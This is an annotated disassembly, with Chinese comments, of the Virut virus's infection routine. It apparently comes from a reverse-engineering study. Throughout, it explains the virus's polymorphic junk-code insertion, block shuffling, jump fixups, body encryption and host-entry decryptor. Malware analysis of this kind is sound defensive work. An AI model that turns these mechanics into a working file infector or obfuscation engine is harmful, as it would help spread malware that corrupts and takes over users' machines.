seg007:7FF93453                                                           ;
seg007:7FF93453                                                           ; 00402058是iat地址
seg007:7FF93454 89 95 E1 1D F3 04                 mov     ss:(flag_code_change - 7B05F000h)[ebp], edx ; 修改为 push dword ptr【】的offset
seg007:7FF9345A
seg007:7FF9345A                   loc_7FF9345A:                           ; CODE XREF: infect+52Dj
seg007:7FF9345A 0F B3 95 75 1C F3+                btr     ss:(flag_array - 7B05F000h)[ebp], edx ;  位测试为1的则是垃圾指令
seg007:7FF93461 42                                inc     edx
seg007:7FF93462 E2 F6                             loop    loc_7FF9345A
seg007:7FF93464 8B 04 24                          mov     eax, [esp]
seg007:7FF93467 66 81 84 C5 7B 18+                add     ss:(block0.aft_NumberOfOpcode - 7B05F000h)[ebp+eax*8], 4
seg007:7FF93471 81 6C 24 04 04 00+                sub     dword ptr [esp+4], 4 ; 指令条数 - 4
seg007:7FF93479 B1 02                             mov     cl, 2           ; 变形后的长度 增加2
seg007:7FF9347B E9 F5 00 00 00                    jmp     loc_7FF93575    ; 修改指令为bts
seg007:7FF9347B                   ; END OF FUNCTION CHUNK FOR infect      ; 使7ff935a0处的指令变为bts
seg007:7FF93480                   ; ---------------------------------------------------------------------------
seg007:7FF93480 E9 92 00 00 00                    jmp     loc_7FF93517
seg007:7FF93485                   ; ---------------------------------------------------------------------------
seg007:7FF93485                   ; START OF FUNCTION CHUNK FOR infect
seg007:7FF93485
seg007:7FF93485                   @no_found:                              ; CODE XREF: infect+4D6j
seg007:7FF93485                                                           ; infect+4DDj ...
seg007:7FF93485 3D B5 10 F3 04                    cmp     eax, 4F310B5h   ; 7ff900b5 返回到host的地址
seg007:7FF9348A 0F 85 82 00 00 00                 jnz     @copy_no_added_hua
seg007:7FF93490 80 BD CC 60 F3 04+                cmp     ss:(found_api_import - 7B05F000h)[ebp], 0 ; ff没找到 0找到 是否找到导入kernel的函数
seg007:7FF93497 72 79                             jb      short @copy_no_added_hua
seg007:7FF93499 80 BD CC 60 F3 04+                cmp     ss:(found_api_import - 7B05F000h)[ebp], 2 ; ff没找到 0找到 是否找到导入kernel的函数
seg007:7FF934A0 73 70                             jnb     short @copy_no_added_hua
seg007:7FF934A2 80 BD CC 60 F3 04+                cmp     ss:(found_api_import - 7B05F000h)[ebp], 0 ; ff没找到 0找到 是否找到导入kernel的函数
seg007:7FF934A9 75 06                             jnz     short loc_7FF934B1
seg007:7FF934AB 89 BD CE 60 F3 04                 mov     ss:(va_when_handle_address_ret_to_host - 7B05F000h)[ebp], edi ; 当要处理的指令时返回到宿主时的va
seg007:7FF934B1
seg007:7FF934B1                   loc_7FF934B1:                           ; CODE XREF: infect+574j
seg007:7FF934B1 0F B6 85 CD 60 F3+                movzx   eax, ss:(random_0_or_1 - 7B05F000h)[ebp] ; 7FF93307 产生的随机值 0或者1
seg007:7FF934B8 6A 07                             push    7
seg007:7FF934BA 6B C0 03                          imul    eax, 3          ; eax = 0 或者3
seg007:7FF934BD 59                                pop     ecx             ; ecx = 7
seg007:7FF934BE 8B 95 BA 60 F3 04                 mov     edx, ss:(infectedfile_eop - 7B05F000h)[ebp]
seg007:7FF934C4 80 BD CC 60 F3 04+                cmp     ss:(found_api_import - 7B05F000h)[ebp], 1 ; ff没找到 0找到 是否找到导入kernel的函数
seg007:7FF934CB 75 05                             jnz     short loc_7FF934D2 ; ecx = 7 或者a
seg007:7FF934CD 83 C2 04                          add     edx, 4
seg007:7FF934D0 2B D0                             sub     edx, eax
seg007:7FF934D2
seg007:7FF934D2                   loc_7FF934D2:                           ; CODE XREF: infect+596j
seg007:7FF934D2 03 C8                             add     ecx, eax        ; ecx = 7 或者a
seg007:7FF934D4 B0 C6                             mov     al, 0C6h ; '?
seg007:7FF934D6 02 85 CD 60 F3 04                 add     al, ss:(random_0_or_1 - 7B05F000h)[ebp] ; 7FF93307 产生的随机值 0或者1
seg007:7FF934DC AA                                stosb                   ; 存入c6 或者c7
seg007:7FF934DD B0 05                             mov     al, 5
seg007:7FF934DF AA                                stosb
seg007:7FF934E0 8B C2                             mov     eax, edx
seg007:7FF934E2 03 43 34                          add     eax, [ebx+S_PE_HEADER.base_of_image]
seg007:7FF934E5 AB                                stosd
seg007:7FF934E6 03 95 A6 60 F3 04                 add     edx, ss:(pointertorawdata_Jian_virtualaddress - 7B05F000h)[ebp]
seg007:7FF934EC 03 95 4E 60 F3 04                 add     edx, ss:(hmapview_infected_file - 7B05F000h)[ebp] ; edx = 找到的ff15 或者ff25的va in map
seg007:7FF934F2 8B 02                             mov     eax, [edx]
seg007:7FF934F4 80 BD CD 60 F3 04+                cmp     ss:(random_0_or_1 - 7B05F000h)[ebp], 0 ; 7FF93307 产生的随机值 0或者1
seg007:7FF934FB 75 03                             jnz     short loc_7FF93500
seg007:7FF934FD AA                                stosb
seg007:7FF934FE EB 01                             jmp     short loc_7FF93501 ; 变成这样:
seg007:7FF934FE                                                           ; 003A4FAF    C705 00104000 F>mov     dword ptr [401000], 205815FF
seg007:7FF934FE                                                           ;
seg007:7FF934FE                                                           ;
seg007:7FF93500                   ; ---------------------------------------------------------------------------
seg007:7FF93500
seg007:7FF93500                   loc_7FF93500:                           ; CODE XREF: infect+5C6j
seg007:7FF93500 AB                                stosd
seg007:7FF93501
seg007:7FF93501                   loc_7FF93501:                           ; CODE XREF: infect+5C9j
seg007:7FF93501 FE 85 CC 60 F3 04                 inc     ss:(found_api_import - 7B05F000h)[ebp] ; ff没找到 0找到 是否找到导入kernel的函数
seg007:7FF93507 80 B5 CD 60 F3 04+                xor     ss:(random_0_or_1 - 7B05F000h)[ebp], 1 ; 7FF93307 产生的随机值 0或者1
seg007:7FF9350E EB 65                             jmp     short loc_7FF93575 ; 修改指令为bts
seg007:7FF9350E                   ; END OF FUNCTION CHUNK FOR infect      ; 使7ff935a0处的指令变为bts
seg007:7FF93510                   ; ---------------------------------------------------------------------------
seg007:7FF93510 EB 05                             jmp     short loc_7FF93517
seg007:7FF93512                   ; ---------------------------------------------------------------------------
seg007:7FF93512                   ; START OF FUNCTION CHUNK FOR infect
seg007:7FF93512
seg007:7FF93512                   @copy_no_added_hua:                     ; CODE XREF: infect+555j
seg007:7FF93512                                                           ; infect+562j ...
seg007:7FF93512 E8 11 10 00 00                    call    func_getinslength
seg007:7FF93517
seg007:7FF93517                   loc_7FF93517:                           ; CODE XREF: infect+4ACj
seg007:7FF93517                                                           ; infect+4BBj ...
seg007:7FF93517 C6 85 A1 45 F3 04+                mov     byte ptr ss:(@set_junkcode_flag+1 - 7B05F000h)[ebp], 0B3h ; '? ; 使7ff935a0处的指令变为btr
seg007:7FF9351E 51                                push    ecx             ; ecx 为原始指令长度
seg007:7FF9351F 29 4C 24 08                       sub     [esp+8], ecx    ; org_offsetStart减去当前esi指向的原始指令长度
seg007:7FF93523 F3 A4                             rep movsb               ; 拷贝原始指令 ecx 为原始指令长度
seg007:7FF93525 59                                pop     ecx
seg007:7FF93526 EB 54                             jmp     short @update_block_descript ; 表处理的当前块的序号
seg007:7FF93528                   ; ---------------------------------------------------------------------------
seg007:7FF93528
seg007:7FF93528                   @chahua:                                ; CODE XREF: infect+48Ej
seg007:7FF93528                                                           ; infect+62Cj
seg007:7FF93528 57                                push    edi             ;
seg007:7FF93528                                                           ; edi指向的要添加花指令的地址
seg007:7FF93529 E8 F2 F3 FF FF                    call    func_chahua
seg007:7FF9352E 8B CF                             mov     ecx, edi        ; ebx = 003A0080,ecx = edi = 003A4E9E 插花指令的下一条地址
seg007:7FF93530 2B 0C 24                          sub     ecx, [esp]      ; ecx 生成花指令的长度
seg007:7FF93533 0B C9                             or      ecx, ecx
seg007:7FF93535 74 2C                             jz      short @hua_is_ok ; 刚刚写入花指令的起始va
seg007:7FF93537 83 BD EA 61 F3 04+                cmp     ss:(start_va_of_added_hua_ins - 7B05F000h)[ebp], 0 ; 如果为0 表示第一次插花 不用 判断是否重复
seg007:7FF9353E 74 23                             jz      short @hua_is_ok ; 刚刚写入花指令的起始va
seg007:7FF93540 39 8D EE 61 F3 04                 cmp     ss:(lengthof_hua_opcode - 7B05F000h)[ebp], ecx ; lengthof_hua_opcode上一次产生花指令的长度
seg007:7FF93546 75 1B                             jnz     short @hua_is_ok ; 刚刚写入花指令的起始va
seg007:7FF93548 56                                push    esi
seg007:7FF93549 57                                push    edi
seg007:7FF9354A 8B B5 EA 61 F3 04                 mov     esi, ss:(start_va_of_added_hua_ins - 7B05F000h)[ebp] ; 如果插花 表示将要添加花指令的地址 否则为0
seg007:7FF93550 8B 7C 24 08                       mov     edi, [esp+8]
seg007:7FF93554 F3 A6                             repe cmpsb
seg007:7FF93556 5F                                pop     edi
seg007:7FF93557 5E                                pop     esi
seg007:7FF93558 8B 8D EE 61 F3 04                 mov     ecx, ss:(lengthof_hua_opcode - 7B05F000h)[ebp]
seg007:7FF9355E 75 03                             jnz     short @hua_is_ok ; 检测刚刚产生的花指令和上一次产生的花指令是否重复
seg007:7FF93560 5F                                pop     edi
seg007:7FF93561 EB C5                             jmp     short @chahua   ;
seg007:7FF93561                                                           ; edi指向的要添加花指令的地址
seg007:7FF93563                   ; ---------------------------------------------------------------------------
seg007:7FF93563
seg007:7FF93563                   @hua_is_ok:                             ; CODE XREF: infect+600j
seg007:7FF93563                                                           ; infect+609j ...
seg007:7FF93563 8F 85 EA 61 F3 04                 pop     ss:(start_va_of_added_hua_ins - 7B05F000h)[ebp] ; 刚刚写入花指令的起始va
seg007:7FF93569 89 8D EE 61 F3 04                 mov     ss:(lengthof_hua_opcode - 7B05F000h)[ebp], ecx ; 插花的长度
seg007:7FF9356F 29 8D 9E 60 F3 04                 sub     ss:(number_of_chahua - 7B05F000h)[ebp], ecx ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF93575
seg007:7FF93575                   loc_7FF93575:                           ; CODE XREF: infect+546j
seg007:7FF93575                                                           ; infect+5D9j
seg007:7FF93575 C6 85 A1 45 F3 04+                mov     byte ptr ss:(@set_junkcode_flag+1 - 7B05F000h)[ebp], 0ABh ; '? ; 修改指令为bts
seg007:7FF93575 AB                                                        ; 使7ff935a0处的指令变为bts
seg007:7FF9357C
seg007:7FF9357C                   @update_block_descript:                 ; CODE XREF: infect+5F1j
seg007:7FF9357C 8B 04 24                          mov     eax, [esp]      ; 表处理的当前块的序号
seg007:7FF9357F 66 01 8C C5 7B 18+                add     ss:(block0.aft_NumberOfOpcode - 7B05F000h)[ebp+eax*8], cx ; 计算变形后的长度
seg007:7FF93587 8D 57 FF                          lea     edx, [edi-1]    ; edx 当前感染后代码的结束地址
seg007:7FF9358A E3 1E                             jecxz   short loc_7FF935AA ; 如果产生花指令的长度为0 即没有产生花指令 则不设置flag_arry
seg007:7FF9358C 2B 95 9A 60 F3 04                 sub     edx, ss:(virut_start_in_file_off - 7B05F000h)[ebp] ;
seg007:7FF9358C                                                           ; 获取当前变形代码相对于virut病毒感染起始地址的偏移
seg007:7FF9358C                                                           ; 该样本中病毒感染的起始位置为3a0600
seg007:7FF93592 3B 95 DD 1D F3 04                 cmp     edx, ss:(dword_7FF90DDD_value_is_4898 - 7B05F000h)[ebp]
seg007:7FF93598 76 06                             jbe     short @set_junkcode_flag ; 设置花指令标志位 edx为偏移 偏移是相对于body结束地址的
seg007:7FF9359A 81 EA 98 48 00 00                 sub     edx, 4898h      ; 4898 body的大小
seg007:7FF9359A                                                           ; 相当于获取当前插过花的指令相对于3a4e98的offset
seg007:7FF9359A                                                           ; 因为3a0600从7ff902d4拷贝了4898个byte
seg007:7FF935A0
seg007:7FF935A0                   @set_junkcode_flag:                     ; CODE XREF: infect+663j
seg007:7FF935A0                                                           ; infect+673j
seg007:7FF935A0                                                           ; DATA XREF: ...
seg007:7FF935A0 0F AB 95 75 1C F3+                bts     ss:(flag_array - 7B05F000h)[ebp], edx ; 设置花指令标志位 edx为偏移 偏移是相对于body结束地址的
seg007:7FF935A7 4A                                dec     edx             ; 将对应的位置1
seg007:7FF935A8 E2 F6                             loop    @set_junkcode_flag ; 循环次数为当前变形指令的长度
seg007:7FF935AA
seg007:7FF935AA                   loc_7FF935AA:                           ; CODE XREF: infect+655j
seg007:7FF935AA 58                                pop     eax             ; 当前块的序号
seg007:7FF935AB 59                                pop     ecx             ; org_NumberOfOpcode,如果没有插入花指令
seg007:7FF935AB                                                           ; 每循环一次都要减去处理过的没有变形的指令长度
seg007:7FF935AC E9 ED FD FF FF                    jmp     @jixu_bianxing_next_ins_of_current_block ; ecx = 当前块的还有多少个opcode要处理
seg007:7FF935B1                   ; ---------------------------------------------------------------------------
seg007:7FF935B1
seg007:7FF935B1                   @finished_this_block_bianxing:          ; CODE XREF: infect+464j
seg007:7FF935B1                                                           ; infect+46Bj
seg007:7FF935B1 59                                pop     ecx             ; ecx = block_num = 9
seg007:7FF935B2 F6 84 C5 7C 18 F3+                test    byte ptr ss:(block0.aft_NumberOfOpcode+1 - 7B05F000h)[ebp+eax*8], 80h ; 判断当前块最后一条指令是否是跳转
seg007:7FF935BA 75 0D                             jnz     short loc_7FF935C9 ; 指令块处理完了
seg007:7FF935BC B0 EB                             mov     al, 0EBh ; '?  ; 看指令块 是不是以跳转指令或者ret结尾的
seg007:7FF935BE AA                                stosb                   ; 写入eb
seg007:7FF935BF 83 C8 FF                          or      eax, 0FFFFFFFFh
seg007:7FF935C2 E8 9C E0 FF FF                    call    random          ; 随机0~eax-1
seg007:7FF935C7 92                                xchg    eax, edx        ; 不是的话  需要用JMP 来链接乱序后的指令块
seg007:7FF935C8 AB                                stosd                   ; 存入随机dword
seg007:7FF935C9
seg007:7FF935C9                   loc_7FF935C9:                           ; CODE XREF: infect+685j
seg007:7FF935C9 FE C9                             dec     cl              ; block_num --
seg007:7FF935CB 0F 85 5A FD FF FF                 jnz     @next_block_bianxing ; block_num
seg007:7FF935D1


5)修复跳转指令 跟据RELOC_Info和BLOCK_info数组的描述来修复
其中遇到0f 8x 如果是短跳的话要 变成7x
在这个过程中多出了4个byte的空间 用花指令来填充
seg007:7FF935D1                   @chahua_jieshu:                         ; 全部的指令块都处理完了后
seg007:7FF935D1 8B D7                             mov     edx, edi        ; edi = 处理完最后一块的地址为3a5309
seg007:7FF935D3 2B 95 9A 60 F3 04                 sub     edx, ss:(virut_start_in_file_off - 7B05F000h)[ebp]
seg007:7FF935D9                   开始时ecx = 0
seg007:7FF935D9 89 95 D9 1D F3 04                 mov     ss:(virus_code_length - 7B05F000h)[ebp], edx ; 更新virut_length
seg007:7FF935DF
seg007:7FF935DF                   @next_reloc:                            ; CODE XREF: infect+7A7j
seg007:7FF935DF 0F B7 84 29 ED 1D+                movzx   eax, ds:(reloc.TarOffset - 7B05F000h)[ecx+ebp] ; 开始修补 JMP指令后的操作数
seg007:7FF935E7 E8 40 F8 FF FF                    call    func_get_offset_bianxinghou ; 获取相对于感染起始位置的偏移
seg007:7FF935EC 50                                push    eax             ; eax = 跳转指令目的地址的偏移转换为变形后的偏移
seg007:7FF935ED 0F B7 84 29 EB 1D+                movzx   eax, ds:(reloc.NexOffset - 7B05F000h)[ecx+ebp]
seg007:7FF935F5 48                                dec     eax             ; 跳转指令 下一条指令的偏移减一
seg007:7FF935F6 E8 31 F8 FF FF                    call    func_get_offset_bianxinghou ; 获取相对于感染起始位置的偏移
seg007:7FF935FB 40                                inc     eax             ; 跳转指令 下一条指令的偏移转换为变形后的偏移
seg007:7FF935FC 29 04 24                          sub     [esp], eax      ; 变形后的nexoffset - taroffset 生成跳转操作数
seg007:7FF935FF 0F B7 84 29 E9 1D+                movzx   eax, word ptr ds:(reloc.org_offset - 7B05F000h)[ecx+ebp] ; eax = 0xa
seg007:7FF93607 E8 20 F8 FF FF                    call    func_get_offset_bianxinghou ; 获取相对于感染起始位置的偏移
seg007:7FF9360C 0F B7 B4 29 EB 1D+                movzx   esi, ds:(reloc.NexOffset - 7B05F000h)[ecx+ebp]
seg007:7FF93614 8B D6                             mov     edx, esi
seg007:7FF93616 66 2B 94 29 E9 1D+                sub     dx, word ptr ds:(reloc.org_offset - 7B05F000h)[ecx+ebp] ; 变形前nexoffset - org_offset
seg007:7FF93616 F3 04                                                     ; dx为跳转的操作数的占用了几个byte
seg007:7FF9361E 03 85 9A 60 F3 04                 add     eax, ss:(virut_start_in_file_off - 7B05F000h)[ebp] ; 跳转指令操作数 变形后在virut中的va
seg007:7FF93624 8F 00                             pop     dword ptr [eax] ; 写入跳转操作数
seg007:7FF93626 66 83 FA 04                       cmp     dx, 4           ; 跳转操作数是个dword?
seg007:7FF9362A 0F 85 A3 00 00 00                 jnz     @next_reloc_    ; 没有跳
seg007:7FF93630 81 F9 F0 00 00 00                 cmp     ecx, 0F0h ; '? ; 当前处理跳转block的序号 从0开始
seg007:7FF93636 0F 83 97 00 00 00                 jnb     @next_reloc_
seg007:7FF9363C                   判断操作码
seg007:7FF9363C 80 78 FF E9                       cmp     byte ptr [eax-1], 0E9h ; '? ; 判断是不是jmp
seg007:7FF93640 B2 03                             mov     dl, 3
seg007:7FF93642 74 18                             jz      short @is_jmp   ; 获取跳转范围 如果是e9 则dl为3 如果是0f 8x 则dl为4
seg007:7FF93644 80 78 FF 80                       cmp     byte ptr [eax-1], 80h ; '€'
seg007:7FF93648 0F 82 85 00 00 00                 jb      @next_reloc_
seg007:7FF9364E 80 78 FF 8F                       cmp     byte ptr [eax-1], 8Fh ; '?
seg007:7FF93652 77 7F                             ja      short @next_reloc_
seg007:7FF93654 80 78 FE 0F                       cmp     byte ptr [eax-2], 0Fh
seg007:7FF93658 75 79                             jnz     short @next_reloc_
seg007:7FF9365A B2 04                             mov     dl, 4           ; 是0f 8x 类型的跳转
seg007:7FF9365C
seg007:7FF9365C                   @is_jmp:                                ; CODE XREF: infect+70Dj
seg007:7FF9365C 03 10                             add     edx, [eax]      ; 获取跳转范围 如果是e9 则dl为3 如果是0f 8x 则dl为4
seg007:7FF9365E 83 FA 80                          cmp     edx, 0FFFFFF80h
seg007:7FF93661 7C 70                             jl      short @next_reloc_
seg007:7FF93663 83 FA 7F                          cmp     edx, 7Fh ; ''  ; 确保是短跳转
seg007:7FF93666 7F 6B                             jg      short @next_reloc_
seg007:7FF93668 80 FA EB                          cmp     dl, 0EBh ; '?  ; 如果跳转的偏移是e8 e9 eb则不进行修改
seg007:7FF9366B 74 66                             jz      short @next_reloc_
seg007:7FF9366D 80 FA E8                          cmp     dl, 0E8h ; '?
seg007:7FF93670 74 61                             jz      short @next_reloc_
seg007:7FF93672 80 FA E9                          cmp     dl, 0E9h ; '?
seg007:7FF93675 74 5C                             jz      short @next_reloc_
seg007:7FF93677 FF B5 9E 60 F3 04                 push    ss:(number_of_chahua - 7B05F000h)[ebp] ; 保存一下
seg007:7FF9367D C7 85 9E 60 F3 04+                mov     ss:(number_of_chahua - 7B05F000h)[ebp], 3 ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF93687 80 78 FF E9                       cmp     byte ptr [eax-1], 0E9h ; '?
seg007:7FF9368B 9C                                pushf
seg007:7FF9368C 83 D8 00                          sbb     eax, 0          ; 如果是0f 8x 这里cf 为1 相当于sub eax, 1
seg007:7FF9368C                                                           ; 否则eax不变
seg007:7FF9368C                                                           ; 记得减去cf标志位的值
seg007:7FF9368F C6 40 FF EB                       mov     byte ptr [eax-1], 0EBh ; '? ; 如果0f xx 后面的xx 《 e9 修改0f为eb
seg007:7FF9368F                                                           ; 修改跳转为短跳转 jmp
seg007:7FF93693 86 10                             xchg    dl, [eax]       ; 修改跳转操作数
seg007:7FF93695 9D                                popf
seg007:7FF93696 73 0C                             jnb     short loc_7FF936A4
seg007:7FF93698 80 EA 10                          sub     dl, 10h         ; 如果0f xx 后面的xx 《 e9
seg007:7FF9369B 88 50 FF                          mov     [eax-1], dl     ; 8x变为7x
seg007:7FF9369E FF 85 9E 60 F3 04                 inc     ss:(number_of_chahua - 7B05F000h)[ebp] ; 变为4
seg007:7FF936A4
seg007:7FF936A4                   loc_7FF936A4:                           ; CODE XREF: infect+761j
seg007:7FF936A4 81 C6 00 10 F3 04                 add     esi, 4F31000h
seg007:7FF936AA 51                                push    ecx
seg007:7FF936AB 8D 78 01                          lea     edi, [eax+1]    ; edi为7x yy后面的地址 因为0f 8x 占用6个字节 这里要进行插花
seg007:7FF936AE 03 F5                             add     esi, ebp        ; esi = 7FF901D6
seg007:7FF936B0
seg007:7FF936B0                   loc_7FF936B0:                           ; CODE XREF: infect+795j
seg007:7FF936B0 57                                push    edi
seg007:7FF936B1 E8 6A F2 FF FF                    call    func_chahua
seg007:7FF936B6 59                                pop     ecx             ; 刚写入花指令的地址
seg007:7FF936B7 29 BD 9E 60 F3 04                 sub     ss:(number_of_chahua - 7B05F000h)[ebp], edi ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF936BD 01 8D 9E 60 F3 04                 add     ss:(number_of_chahua - 7B05F000h)[ebp], ecx ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF936C3 83 BD 9E 60 F3 04+                cmp     ss:(number_of_chahua - 7B05F000h)[ebp], 0 ; 还有没剩余空间去插花
seg007:7FF936CA 7F E4                             jg      short loc_7FF936B0 ; 0f 8x类的跳转 如果为短跳 则改为7x  然后用花指令填充剩下的空间
seg007:7FF936CC 59                                pop     ecx
seg007:7FF936CD 8F 85 9E 60 F3 04                 pop     ss:(number_of_chahua - 7B05F000h)[ebp] ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF936D3
seg007:7FF936D3                   @next_reloc_:                           ; CODE XREF: infect+6F5j
seg007:7FF936D3                                                           ; infect+701j ...
seg007:7FF936D3 83 C1 06                          add     ecx, 6
seg007:7FF936D6 81 F9 08 01 00 00                 cmp     ecx, 108h
seg007:7FF936DC 0F 82 FD FE FF FF                 jb      @next_reloc     ; 


6)修复块与块之间的跳转 用jmp连接  前面是按照长跳转连接的 如果最后计算跳转跳转时是短跳转 则会在多余的空间内插花
seg007:7FF936E2 8B BD 9A 60 F3 04                 mov     edi, ss:(virut_start_in_file_off - 7B05F000h)[ebp]
seg007:7FF936E8 8D B5 75 18 F3 04                 lea     esi, (block0.org_NumberOfOpcode - 7B05F000h)[ebp]
seg007:7FF936EE 03 BD DD 1D F3 04                 add     edi, ss:(dword_7FF90DDD_value_is_4898 - 7B05F000h)[ebp] ; 这里加上了0
seg007:7FF936F4 68 74 05 00 00                    push    574h
seg007:7FF936F9 81 C7 A1 05 00 00                 add     edi, 5A1h       ; 003A0BA1 = 3a0600 + 5a1
seg007:7FF936FF 59                                pop     ecx             ; ecx = 574
seg007:7FF93700 F3 A4                             rep movsb               ; 复制block结构数组 7FF90875 -> 3a0ba1  size 574
seg007:7FF93702 33 C9                             xor     ecx, ecx
seg007:7FF93704
seg007:7FF93704                   @next_block_:                           ; CODE XREF: infect+856j
seg007:7FF93704 F6 84 CD 7C 18 F3+                test    byte ptr ss:(block0.aft_NumberOfOpcode+1 - 7B05F000h)[ebp+ecx*8], 80h
seg007:7FF9370C 75 75                             jnz     short @next_block_for_fix_jmp
seg007:7FF9370E                   修复块与块之间的JMP即刚刚添加的JMP指令操作数 因为前面如果块结尾的指令不是
seg007:7FF9370E                   jmp或者ret 直接在块结尾插入了jmp 操作数为随机的dword 这里要修复
seg007:7FF9370E 0F B7 94 CD 7B 18+                movzx   edx, ss:(block0.aft_NumberOfOpcode - 7B05F000h)[ebp+ecx*8]
seg007:7FF93716 0F B7 84 CD 79 18+                movzx   eax, ss:(block0.aft_offsetStart - 7B05F000h)[ebp+ecx*8]
seg007:7FF9371E 81 E2 FF 7F 00 00                 and     edx, 7FFFh
seg007:7FF93724 8D 44 02 02                       lea     eax, [edx+eax+2] ; eax = 当前块的art_NumberOfOpcode + aft_offsetStart + 2
seg007:7FF93728 0F B7 94 CD 81 18+                movzx   edx, ss:(block1.aft_offsetStart - 7B05F000h)[ebp+ecx*8]
seg007:7FF93730 2B D0                             sub     edx, eax        ; 下一块的aft_offsetStart - (当前块的art_NumberOfOpcode + aft_offsetStart + 2)
seg007:7FF93732 03 85 9A 60 F3 04                 add     eax, ss:(virut_start_in_file_off - 7B05F000h)[ebp] ; eax指向eb的地址+2
seg007:7FF93738 83 FA 80                          cmp     edx, 0FFFFFF80h
seg007:7FF9373B 7C 3C                             jl      short @long_jmp
seg007:7FF9373D 83 FA 7F                          cmp     edx, 7Fh ; ''  ; 跳转的范围
seg007:7FF93740 7F 37                             jg      short @long_jmp
seg007:7FF93742 88 50 FF                          mov     [eax-1], dl     ; 存放短跳转操作数
seg007:7FF93745 8B F8                             mov     edi, eax        ; 准备插入花指令的位置
seg007:7FF93747 51                                push    ecx
seg007:7FF93748 FF B5 9E 60 F3 04                 push    ss:(number_of_chahua - 7B05F000h)[ebp] ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF9374E C7 85 9E 60 F3 04+                mov     ss:(number_of_chahua - 7B05F000h)[ebp], 3 ; 要添加花指令的长度为3
seg007:7FF93758
seg007:7FF93758                   @added_hua_loop:                        ; CODE XREF: infect+839j
seg007:7FF93758 57                                push    edi
seg007:7FF93759 83 C9 FF                          or      ecx, 0FFFFFFFFh
seg007:7FF9375C E8 E6 F1 FF FF                    call    @chahua_info_flag_found ; 0x5a8
seg007:7FF93761 59                                pop     ecx
seg007:7FF93762 01 8D 9E 60 F3 04                 add     ss:(number_of_chahua - 7B05F000h)[ebp], ecx ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF93768 29 BD 9E 60 F3 04                 sub     ss:(number_of_chahua - 7B05F000h)[ebp], edi ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF9376E 77 E8                             ja      short @added_hua_loop
seg007:7FF93770 8F 85 9E 60 F3 04                 pop     ss:(number_of_chahua - 7B05F000h)[ebp] ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF93776 59                                pop     ecx
seg007:7FF93777 EB 0A                             jmp     short @next_block_for_fix_jmp
seg007:7FF93779                   ; ---------------------------------------------------------------------------
seg007:7FF93779
seg007:7FF93779                   @long_jmp:                              ; CODE XREF: infect+806j
seg007:7FF93779                                                           ; infect+80Bj
seg007:7FF93779 83 EA 03                          sub     edx, 3
seg007:7FF9377C C6 40 FE E9                       mov     byte ptr [eax-2], 0E9h ; '? ; 范围太大  修改指令为长跳转
seg007:7FF93780 89 50 FF                          mov     [eax-1], edx    ; 写入长跳转操作数
seg007:7FF93783
seg007:7FF93783                   @next_block_for_fix_jmp:                ; CODE XREF: infect+7D7j
seg007:7FF93783                                                           ; infect+842j
seg007:7FF93783 FE C1                             inc     cl
seg007:7FF93785 3A 8D 74 18 F3 04                 cmp     cl, ss:(block_counter - 7B05F000h)[ebp]
seg007:7FF9378B 0F 82 73 FF FF FF                 jb      @next_block_


7)更新解密body用的key
seg007:7FF93791 B8 FF FF 00 00                    mov     eax, 0FFFFh
seg007:7FF93796 E8 C8 DE FF FF                    call    random          ; 随机0~eax-1
seg007:7FF9379B 42                                inc     edx
seg007:7FF9379C 52                                push    edx
seg007:7FF9379D B8 9B 01 00 00                    mov     eax, 19Bh       ; 由此可见解密的key存放在 变形前 + 19b的位置
seg007:7FF937A2 E8 85 F6 FF FF                    call    func_get_offset_bianxinghou ; 获取相对于感染起始位置的偏移
seg007:7FF937A7 03 85 9A 60 F3 04                 add     eax, ss:(virut_start_in_file_off - 7B05F000h)[ebp] ; 定位到变形后的地方
seg007:7FF937AD 5A                                pop     edx
seg007:7FF937AE 66 89 10                          mov     [eax], dx       ; 更新key
seg007:7FF937B1 0F B7 8D 79 18 F3+                movzx   ecx, ss:(block0.aft_offsetStart - 7B05F000h)[ebp]
seg007:7FF937B8 8B 85 DD 1D F3 04                 mov     eax, ss:(dword_7FF90DDD_value_is_4898 - 7B05F000h)[ebp] ; 为0
seg007:7FF937BE 03 8D AA 60 F3 04                 add     ecx, ss:(infectsection_voffset_jia_sizeofrawdata - 7B05F000h)[ebp] ;
seg007:7FF937BE                                                           ; ecx = block0.aft_offsetStart + infectsection_voffset_jia_sizeofrawdata
seg007:7FF937C4 03 85 9A 60 F3 04                 add     eax, ss:(virut_start_in_file_off - 7B05F000h)[ebp]
seg007:7FF937CA 89 8D D2 60 F3 04                 mov     ss:(new_oep - 7B05F000h)[ebp], ecx ; 跟新感染入口 实际上其代码为第一个块的代码
seg007:7FF937D0 B9 88 48 00 00                    mov     ecx, 4888h
seg007:7FF937D5
seg007:7FF937D5                   @encrypt:                               ; CODE XREF: infect+8ADj
seg007:7FF937D5 00 30                             add     [eax], dh       ; 加密body
seg007:7FF937D7 69 D2 FB 03 00 00                 imul    edx, 3FBh
seg007:7FF937DD 30 10                             xor     [eax], dl
seg007:7FF937DF 86 D6                             xchg    dl, dh
seg007:7FF937E1 40                                inc     eax
seg007:7FF937E2 E2 F1                             loop    @encrypt        ; 加密body
seg007:7FF937E4 E8 51 F0 FF FF                    call    func_filealig
seg007:7FF937E9 FE 85 CD 61 F3 04                 inc     ss:(byte_7FF951CD - 7B05F000h)[ebp]
seg007:7FF937EF 66 83 A5 47 4C F3+                and     word ptr ss:(loc_7FF93C44+3 - 7B05F000h)[ebp], 0
seg007:7FF937F7 F7 85 1A 3E F3 04+                test    ss:(dword_7FF92E1A_value_1b0 - 7B05F000h)[ebp], 2 决定是否要在入口节末尾插入代码,用来解密添加的代码
seg007:7FF93801 0F 84 51 03 00 00                 jz      @motify_rukou_infection ; 跳了 


8)前面说过:

control 是否包含0x4
决定了是否需要在入口代码节剩余空间加入解密添加的病毒代码 如果这里添加了解密代码就要在后面对添加的代码进行加密

实际添加的代码如下:reg是随机选的
push (added_virus_code_length - 2) & 0xfffffffe  偶数对齐
clc
pop reg
loop_decode:
adc 或者add     word ptr [ecx+added_code_startva], ransom_word (随机word)  added_code_startva添加的病毒代码起始虚拟地址
sub reg,2
jge loop_decode

然后把上面的指令分成5组
